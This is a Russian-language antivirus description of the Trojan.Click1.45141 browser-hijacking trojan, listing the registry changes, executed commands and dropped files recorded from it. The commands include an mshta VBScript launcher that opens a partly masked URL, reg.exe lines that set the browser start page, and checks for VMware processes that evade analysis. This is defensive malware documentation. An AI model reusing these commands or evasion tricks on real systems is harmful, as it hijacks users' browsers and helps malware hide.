Trojan.Click1.45141

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Classes\CLSID\{86AEFBE8-763F-0688-899C-A93248888899}\Shell\Open\Command] '' = '%PROGRAM_FILES%\Internet Explorer\iexplore.exe http://www.24dh.com/?10024/'

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\attrib.exe -r "%HOMEPATH%\╫└├ц\*.lnk"
<SYSTEM32>\tasklist.exe /nh
<SYSTEM32>\cmd.exe /c %WINDIR%\yunxin.bat
<SYSTEM32>\attrib.exe -r "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\╞Ї╢п\*.lnk"
<SYSTEM32>\attrib.exe -r "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\*.lnk"
<SYSTEM32>\find.exe /i "VMwareUser.exe"
<SYSTEM32>\find.exe /i "VMwareTray.exe"
<SYSTEM32>\find.exe /i "VMwareService.exe"
<SYSTEM32>\findstr.exe /c:"Physical Address"
<SYSTEM32>\attrib.exe -r "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*.lnk"
<SYSTEM32>\ipconfig.exe /all
%WINDIR%\regedit.exe /s add7.rig
<SYSTEM32>\reg.exe delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /f
%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://af####2.3322.org/img/tc.htm?24
<SYSTEM32>\cmd.exe /c %WINDIR%\46.bat
<SYSTEM32>\mshta.exe vbscript:CreateObject("WScript.Shell").Run("iexplore http://af####2.3322.org/img/tc.htm?24##################
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.24##.com/?10####" /f
<SYSTEM32>\reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{86AEFBE8-763F-0647-899C-A93248888899}" /f
<SYSTEM32>\reg.exe delete "HKEY_CLASSES_ROOT\CLSID\{86AEFBE8-763F-0647-899C-A93248888899}" /f
<SYSTEM32>\reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{86AEFBE8-763F-0647-899C-A93248888899}" /f
<SYSTEM32>\regini.exe <SYSTEM32>\regsets.ini
%WINDIR%\regedit.exe /s web.rig

Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.

Изменения в файловой системе:

Создает следующие файлы:

%WINDIR%\1007.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\SL6TKFAX\T1gANoXmXwXXcGRBI1_1008[1].jpg
%WINDIR%\1008.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\T1gANoXmXwXXcGRBI1_1007[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\T1gANoXmXwXXcGRBI1_1006[1].jpg
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\tc[1].htm
%WINDIR%\1006.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\T1gANoXmXwXXcGRBI1_1009[1].jpg
%WINDIR%\Temp\interbatfsdf20.bat
<Текущая директория>\1.txt
%WINDIR%\Help\rllfdDSDfds7.vbs
%WINDIR%\yunxin.bat
%WINDIR%\1009.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\T1gANoXmXwXXcGRBI1_1010[1].jpg
%WINDIR%\1010.exe
%WINDIR%\1005.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\0D6B6PI5\T1gANoXmXwXXcGRBI1_1002[1].jpg
%WINDIR%\1002.exe
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\ULU3YH2D\T1gANoXmXwXXcGRBI1_1003[1].jpg
%WINDIR%\1001.exe
%WINDIR%\46.bat
<Текущая директория>\add7.rig
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\T1gANoXmXwXXcGRBI1_1001[1].jpg
%WINDIR%\1003.exe
%HOMEPATH%\Favorites\24═°╓╖╓о╝╥ ╔╧═°╛═╔╧24═°╓╖╓о╝╥.url
<Текущая директория>\web.rig
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\T1gANoXmXwXXcGRBI1_1005[1].jpg
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.url
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\SL6TKFAX\T1gANoXmXwXXcGRBI1_1004[1].jpg
%WINDIR%\1004.exe
<SYSTEM32>\regsets.ini